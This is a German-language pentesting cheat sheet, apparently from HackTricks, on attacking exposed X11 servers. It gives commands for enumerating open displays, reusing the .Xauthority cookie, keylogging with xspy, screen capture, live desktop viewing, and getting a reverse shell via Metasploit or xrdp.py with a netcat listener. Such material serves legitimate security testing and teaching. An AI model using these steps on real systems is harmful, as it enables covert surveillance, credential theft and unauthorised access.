# 6000 - Pentesting X11 {{#include ../banners/hacktricks-training.md}} ## Grundlegende Informationen **X Window System** (X) ist ein vielseitiges Fenstersystem, das auf UNIX-basierten Betriebssystemen verbreitet ist. Es bietet einen Rahmen zur Erstellung grafischer **Benutzeroberflächen (GUIs)**, wobei einzelne Programme das Design der Benutzeroberfläche übernehmen. Diese Flexibilität ermöglicht vielfältige und anpassbare Erfahrungen innerhalb der X-Umgebung. **Standardport:** 6000 ``` PORT STATE SERVICE 6000/tcp open X11 ``` ## Enumeration Überprüfen Sie auf **anonyme Verbindung:** ```bash nmap -sV --script x11-access -p msf> use auxiliary/scanner/x11/open_x11 ``` #### Lokale Aufzählung Die Datei **`.Xauthority`** im Home-Verzeichnis des Benutzers wird **von X11 zur Autorisierung verwendet**. Von [**hier**](https://stackoverflow.com/a/37367518): ```bash $ xxd ~/.Xauthority 00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M 00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE- 00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X 00000030: 041d ef ... ``` > MIT-magic-cookie-1: Generierung von 128 Bit Schlüssel (“cookie”), Speicherung in \~/.Xauthority (oder wo die XAUTHORITY-Umgebungsvariable zeigt). Der Client sendet ihn unverschlüsselt an den Server! Der Server überprüft, ob er eine Kopie dieses “cookies” hat, und wenn ja, wird die Verbindung erlaubt. Der Schlüssel wird von DMX generiert. > [!WARNING] > Um den **Cookie zu verwenden**, sollten Sie die Umgebungsvariable setzen: **`export XAUTHORITY=/path/to/.Xauthority`** #### Lokale Aufzählungssitzung ```bash $ w 23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session ``` Im Beispiel lief `localhost:0` mit xfce4-session. ## Verbindung Überprüfen ```bash xdpyinfo -display : xwininfo -root -tree -display : #Ex: xwininfo -root -tree -display 10.5.5.12:0 ``` ## Keyloggin [xspy](http://tools.kali.org/sniffingspoofing/xspy) zum Abfangen der Tastatureingaben. Beispielausgabe: ``` xspy 10.9.xx.xx opened 10.9.xx.xx:0 for snoopng swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123 qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab ``` ## Screenshots erfassen ```bash xwd -root -screen -silent -display > screenshot.xwd convert screenshot.xwd screenshot.png ``` ## Remote Desktop View Weg von: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) ``` ./xrdp.py ``` Der erste Schritt besteht darin, die ID des Fensters mit xwininfo zu finden. ``` xwininfo -root -display 10.9.xx.xx:0 xwininfo: Window id: 0x45 (the root window) (has no name) Absolute upper-left X: 0 Absolute upper-left Y: 0 Relative upper-left X: 0 Relative upper-left Y: 0 Width: 1024 Height: 768 Depth: 16 Visual: 0x21 Visual Class: TrueColor Border width: 0 Class: InputOutput Colormap: 0x20 (installed) Bit Gravity State: ForgetGravity Window Gravity State: NorthWestGravity Backing Store State: NotUseful Save Under State: no Map State: IsViewable Override Redirect State: no Corners: +0+0 -0+0 -0-0 +0-0 -geometry 1024x768+0+0 ``` **XWatchwin** Für **Live-Ansicht** müssen wir verwenden ```bash ./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo ./xwatchwin 10.9.xx.xx:0 -w 0x45 ``` ## Shell erhalten ``` msf> use exploit/unix/x11/x11_keyboard_exec ``` **Reverse Shell:** Xrdp ermöglicht es auch, eine Reverse-Shell über Netcat zu erhalten. Geben Sie den folgenden Befehl ein: ```bash ./xrdp.py \ –no-disp ``` In der Schnittstelle sehen Sie die **R-shell-Option**. Starten Sie dann einen **Netcat-Listener** auf Ihrem lokalen System auf Port 5555. ```bash nc -lvp 5555 ``` Dann geben Sie Ihre IP-Adresse und den Port in die **R-Shell**-Option ein und klicken Sie auf **R-shell**, um eine Shell zu erhalten. ## References - [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) - [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) - [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) ## Shodan - `port:6000 x11` {{#include ../banners/hacktricks-training.md}}